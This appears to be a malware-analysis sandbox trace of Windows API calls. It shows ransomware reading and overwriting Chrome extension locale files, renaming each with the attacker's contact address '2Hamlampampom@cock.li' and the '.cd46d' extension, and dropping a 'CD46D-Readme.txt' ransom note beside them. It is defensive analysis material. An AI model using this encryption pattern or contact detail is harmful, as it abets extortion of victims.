DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2b0f794, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x934b88 [0201.950] FlushFileBuffers (hFile=0x854) returned 1 [0201.955] CloseHandle (hObject=0x854) returned 1 [0201.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13e) returned 0xd4a69b0 [0201.995] wcscpy (in: _Dest=0xd4a69b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\" [0201.995] wcscat (in: _Dest=0xd4a69b0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\CD46D-Readme.txt" [0201.995] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\cd46d-readme.txt")) returned 0xffffffff [0201.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16dc [0202.004] WriteFile (in: hFile=0x16dc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2b0f79c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2b0f79c*=0x6fd, lpOverlapped=0x0) returned 1 [0202.015] CloseHandle (hObject=0x16dc) returned 1 [0202.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a69b0) returned 1 [0202.024] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd5a8) returned 1 Thread: id = 8460 os_tid = 0x1b5c [0194.255] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0194.836] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json", dwFileAttributes=0x20) returned 1 [0199.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x46c [0199.397] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x303f768 | out: lpFileSize=0x303f768*=230) returned 1 [0199.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9760 [0199.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 [0199.397] NtQuerySystemTime (in: CurrentTime=0x303f6c8 | out: CurrentTime=0x303f6c8*=132174899740006000) returned 0x0 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x14683d2 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x2d704d23 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x2deca087 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0xb0d87d8 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x718ef392 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x44a43f9b [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x7f692fd6 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x4e1a9347 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x58ec4d38 [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x44d5d59f [0199.397] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x426263d5 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0xc1228c8 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x5fe084d5 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x7a4dbf1d [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x21f47bb7 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x416fef6d [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x60235cad [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0xddb6abe [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x68ea38ec [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x150a3566 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0xae79082 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x18a85cf2 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0xbee6dfb [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x4865e38 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x5ab571e4 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x17811824 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x1d747c66 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x4c7df836 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x329480ad [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x17a4a2b2 [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x59a26a9d [0199.398] RtlRandomEx (in: Seed=0x303f6d4 | out: Seed=0x303f6d4) returned 0x2c7386d4 [0199.410] ReadFile (in: hFile=0x46c, lpBuffer=0x134b0018, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x303f6c4, lpOverlapped=0x0 | out: lpBuffer=0x134b0018*, lpNumberOfBytesRead=0x303f6c4*=0xe6, lpOverlapped=0x0) returned 1 [0199.411] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.411] WriteFile (in: hFile=0x46c, lpBuffer=0x134bc820*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303f6c0, lpOverlapped=0x0 | out: lpBuffer=0x134bc820*, lpNumberOfBytesWritten=0x303f6c0*=0xe6, lpOverlapped=0x0) returned 1 [0201.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a58 [0201.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5f58 [0201.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f58) returned 1 [0201.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134bc820) returned 1 [0201.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134b0018) returned 1 [0201.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fafb0) returned 1 [0201.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0201.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938150 [0201.091] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.091] WriteFile (in: hFile=0x46c, lpBuffer=0x12cf5720*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x303f728, lpOverlapped=0x0 | out: lpBuffer=0x12cf5720*, lpNumberOfBytesWritten=0x303f728*=0x10b, lpOverlapped=0x0) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5720) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938180) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f58) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938150) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a58) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9760) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e97b0) returned 1 [0201.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c10) returned 1 [0201.760] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0x9443e8 [0201.760] wcscpy (in: _Dest=0x9443e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" [0201.760] wcscat (in: _Dest=0x9443e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.760] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x303f6e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.761] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x935080 [0201.960] FlushFileBuffers (hFile=0x46c) returned 1 [0201.966] CloseHandle (hObject=0x46c) returned 1 [0201.998] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13e) returned 0xd4a6d88 [0201.999] wcscpy (in: _Dest=0xd4a6d88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\" [0201.999] wcscat (in: _Dest=0xd4a6d88, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" [0201.999] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\cd46d-readme.txt")) returned 0xffffffff [0201.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13cc [0202.005] WriteFile (in: hFile=0x13cc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x303f6e8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x303f6e8*=0x6fd, lpOverlapped=0x0) returned 1 [0202.019] CloseHandle (hObject=0x13cc) returned 1 [0202.026] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6d88) returned 1 [0202.026] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fdea0) returned 1 Thread: id = 8461 os_tid = 0x1b60 [0194.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json")) returned 0x2020 [0194.836] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json", dwFileAttributes=0x20) returned 1 [0199.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x19f8 [0199.412] GetFileSizeEx (in: hFile=0x19f8, lpFileSize=0x296f888 | out: lpFileSize=0x296f888*=226) returned 1 [0199.412] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.412] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 [0199.412] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a30 [0199.412] NtQuerySystemTime (in: CurrentTime=0x296f7e8 | out: CurrentTime=0x296f7e8*=132174899740006000) returned 0x0 [0199.412] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x55eeebc0 [0199.412] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x1e35e032 [0199.412] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x43bc8657 [0199.412] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x7cb5126b [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x56449d40 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x7abe4d35 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x47e7b948 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x6140080d [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x765d5108 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x2ed709d6 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x5f20a6fe [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x7ac6ef0c [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x2e8d5fd3 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x3f2df70 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x3a0f42e7 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x7f62cdc5 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x2f66c10a [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x1ccf4ce1 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x75336c37 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x5caf3153 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x39c14f49 [0199.413] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x2ac66d09 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x5336fe5a [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x3f490bf0 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x70686c99 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x7e0c551b [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x5c6d9fd4 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0xb0d87d8 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x46d22322 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x276af4c [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x4865e38 [0199.414] RtlRandomEx (in: Seed=0x296f7f4 | out: Seed=0x296f7f4) returned 0x5ee2c4d8 [0199.426] ReadFile (in: hFile=0x19f8, lpBuffer=0x134c9028, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x296f7e4, lpOverlapped=0x0 | out: lpBuffer=0x134c9028*, lpNumberOfBytesRead=0x296f7e4*=0xe2, lpOverlapped=0x0) returned 1 [0199.427] SetFilePointerEx (in: hFile=0x19f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.427] WriteFile (in: hFile=0x19f8, lpBuffer=0x134d5830*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x296f7e0, lpOverlapped=0x0 | out: lpBuffer=0x134d5830*, lpNumberOfBytesWritten=0x296f7e0*=0xe2, lpOverlapped=0x0) returned 1 [0201.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93ddc0 [0201.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd20 [0201.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd20) returned 1 [0201.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134d5830) returned 1 [0201.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134c9028) returned 1 [0201.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faa10) returned 1 [0201.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0201.085] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8928 [0201.085] SetFilePointerEx (in: hFile=0x19f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.085] WriteFile (in: hFile=0x19f8, lpBuffer=0x12cf6328*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x296f848, lpOverlapped=0x0 | out: lpBuffer=0x12cf6328*, lpNumberOfBytesWritten=0x296f848*=0x10b, lpOverlapped=0x0) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6328) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd20) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ddc0) returned 1 [0201.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98c8) returned 1 [0201.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0201.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b48) returned 1 [0201.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6e48 [0201.743] wcscpy (in: _Dest=0xd4c6e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" [0201.743] wcscat (in: _Dest=0xd4c6e48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.743] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x296f800, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ed8 [0201.944] FlushFileBuffers (hFile=0x19f8) returned 1 [0201.952] CloseHandle (hObject=0x19f8) returned 1 [0201.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd4a6868 [0201.994] 